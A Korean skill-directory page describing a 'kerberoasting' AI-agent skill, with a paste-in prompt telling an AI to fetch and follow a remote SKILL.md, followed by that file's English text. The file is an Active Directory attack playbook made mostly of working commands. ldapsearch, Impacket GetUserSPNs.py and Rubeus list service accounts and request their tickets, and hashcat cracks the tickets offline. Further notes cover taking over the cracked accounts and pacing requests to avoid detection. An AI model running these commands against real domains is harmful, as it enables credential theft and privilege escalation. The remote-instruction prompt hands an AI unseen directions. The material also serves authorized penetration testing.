본문으로 건너뛰기
Skillpedia
보안6.5k · #13942

kerberoasting

하는 일

이 스킬은 서비스 계정에 대해 자주 쓰이는 Active Directory 비밀번호 강도 점검을 설명합니다. Windows 도메인을 감사할 권한이 있는 보안 테스터를 위한 스킬입니다.

사용하는 경우

  • ✓보안 테스터가 허가된 도메인에서 약한 비밀번호를 가졌을 수 있는 서비스 계정을 물을 때.
  • ✓에이전트가 서비스 이름과 연결된 서비스 계정을 나열하고 설정을 확인해야 할 때.
  • ✓보고서에 약한 서비스 계정 비밀번호의 위험과 강화 방법을 설명해야 하는 경우.

스킬 링크

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md

복사해서 AI(Claude, ChatGPT, Cursor)에 붙여넣고 지침을 따르도록 요청하세요.

사용 방법

가장 쉬운 방법입니다. 메시지를 복사해 AI에 붙여넣으세요. AI가 스킬을 읽고 지침을 따릅니다.

바로 붙여넣을 수 있는 메시지

Use this skill to help me: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/ad/kerberoasting/SKILL.md Read the SKILL.md file at that link and follow its instructions for my task.
AI가 이런 스킬을 알아서 찾아 쓰길 원하시나요?무료 Skillpedia MCP를 설치하세요. 한 줄이면 작업마다 스킬 15,000+개 중에서 검색합니다.1분 만에 설치 →

AI에게 요청하는 예시

“허가된 테스트 도메인에서 서비스 계정을 찾고, 비밀번호가 약해 보이는지 확인해 주시겠어요?”

매주 새 스킬 5개. 읽는 데 1분.

작동 방식

에이전트는 서비스 이름을 가진 계정을 찾고, 테스트 계정으로 해당 티켓 데이터를 요청한 뒤, 비밀번호 강도를 오프라인에서 확인합니다.

기술 내용 (원본 SKILL.md)

작성자의 영어 원문을 GitHub에서 그대로 가져왔습니다.

Kerberoasting Playbook

Prerequisite

Any valid domain user. No special privileges required.

1. Identify roastable accounts

In a hosted engagement, inspect the authorized collection through bloodhound_mcp_find_objects and bloodhound_mcp_object_profile, or use a bounded read-only bloodhound_mcp_cypher_query when the semantic tools do not expose the SPN property. Confirm collection coverage first. In standalone OSS, use the registered bhce_cypher tool against that instance. Or LDAP-direct:

ldapsearch -x -H ldap://DC_IP -D 'USER@DOM' -w 'PASS' \
  -b 'DC=corp,DC=local' \
  '(&(samAccountType=805306368)(servicePrincipalName=*)(!(userAccountControl:1.2.840.113556.1.4.803:=2)))' \
  sAMAccountName servicePrincipalName > /tmp/spns.txt

2. Request TGS tickets

Impacket (most reliable):

GetUserSPNs.py DOM/USER:'PASS' -dc-ip DC_IP -request \
  -outputfile /tmp/kerb.hashes

Rubeus (from Windows beachhead):

Rubeus.exe kerberoast /outfile:C:\Windows\Temp\k.txt /nowrap

Modern hashes are $krb5tgs$23$*user$DOM$spn*$<ciphertext> (RC4). If forest is Win2012+, AES tickets may come back as $krb5tgs$18$*….

3. Crack offline

# RC4 (mode 13100)
hashcat -m 13100 -a 0 /tmp/kerb.hashes /usr/share/wordlists/rockyou.txt \
        --rules-file /usr/share/hashcat/rules/best64.rule

# AES256 (mode 19700)
hashcat -m 19700 -a 0 /tmp/kerb.hashes wordlist.txt

# Targeted rules for service-account passwords (often pattern-based)
hashcat -m 13100 -a 6 /tmp/kerb.hashes wordlist.txt '?d?d?d?d' \
        --rules-file /usr/share/hashcat/rules/d3ad0ne.rule

Service-account heuristics: 60-70% of kerberoasted accounts use:

  • ServiceName + season + year (e.g. SQLSvc2024!, IISWinter25)
  • App name + 4-digit numbers
  • Default install passwords (Veeam, SCCM, Splunk admins)
  • Custom dict from OSINT (company name, products, projects)

4. Promote cracked credential

kg_add_node(kind="credential", label="USER:CRACKED_PASSWORD",
            props={"source":"kerberoast","crack_time":"<n>m","mode":"hashcat-m13100"})
kg_add_edge(src=<cred>, dst=<user>, kind="authenticates")

5. Post-crack actions

Whatever the service account can reach is now yours:

  • Run BloodHound as the new cred → re-ingest
  • Often these accounts have AdminTo on the box hosting the service
  • Sometimes they're members of Tier-0 groups (yes, really)

OPSEC notes

  • Requesting TGS tickets is logged to 4769 events on the DC
  • Detection: 4769 with Ticket Encryption Type=0x17 (RC4) when the service supports AES is anomalous
  • Rate limiting: don't request all SPNs at once on a monitored network; Impacket has no built-in throttle, write a wrapper
  • Use -no-preauth to avoid lockout if doing manual TGS via kinit

CVSS

  • Roastable + crackable in scope timeframe: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0
  • Roastable but uncrackable (long random pw): Informational
  • AES-only + no offline crack feasible: Low

Common services found

SPN prefix Likely account Typical impact
MSSQLSvc/ SQL service account Often local admin on DB host
HTTP/sccm* SCCM service Often Domain Admin (misconfig)
MSOLAPSvc.3/ SSAS Local admin on analysis server
kadmin/changepw KDC account RARE — high value if hit
exchangeMDB/ Exchange recovery Sometimes priv group
자주 묻는 질문

서비스 계정이란 무엇인가요?

데이터베이스나 웹 앱 같은 서비스를 Windows 네트워크에서 실행하는 계정입니다.

스킬은 약한 비밀번호를 고치는 방법을 설명하나요?

더 강한 비밀번호와 최신 암호화 사용을 안내하며, 적용 방법은 계정 소유자가 결정합니다.

아무 사용자나 이 점검을 실행할 수 있나요?

스킬은 유효한 도메인 사용자라면 누구나 실행할 수 있다고 설명하며, 그래서 감사에서 중요하다고 봅니다.

상세 정보

작성자의 원본 설명

Request Kerberos TGS tickets for SPN-bound service accounts and crack offline with hashcat — classic AD priv-esc primitive.

repo: BitterSecurity/Decepticon

인기도

GitHub 스타
6.5k
순위
#13942
라이선스
Apache-2.0
업데이트
2026. 11. 1.

이 스킬이 유용한가요?

0

로그인 투표하려면 로그인하세요.

댓글

  • …

이 저장소의 다른 스킬

비슷한 스킬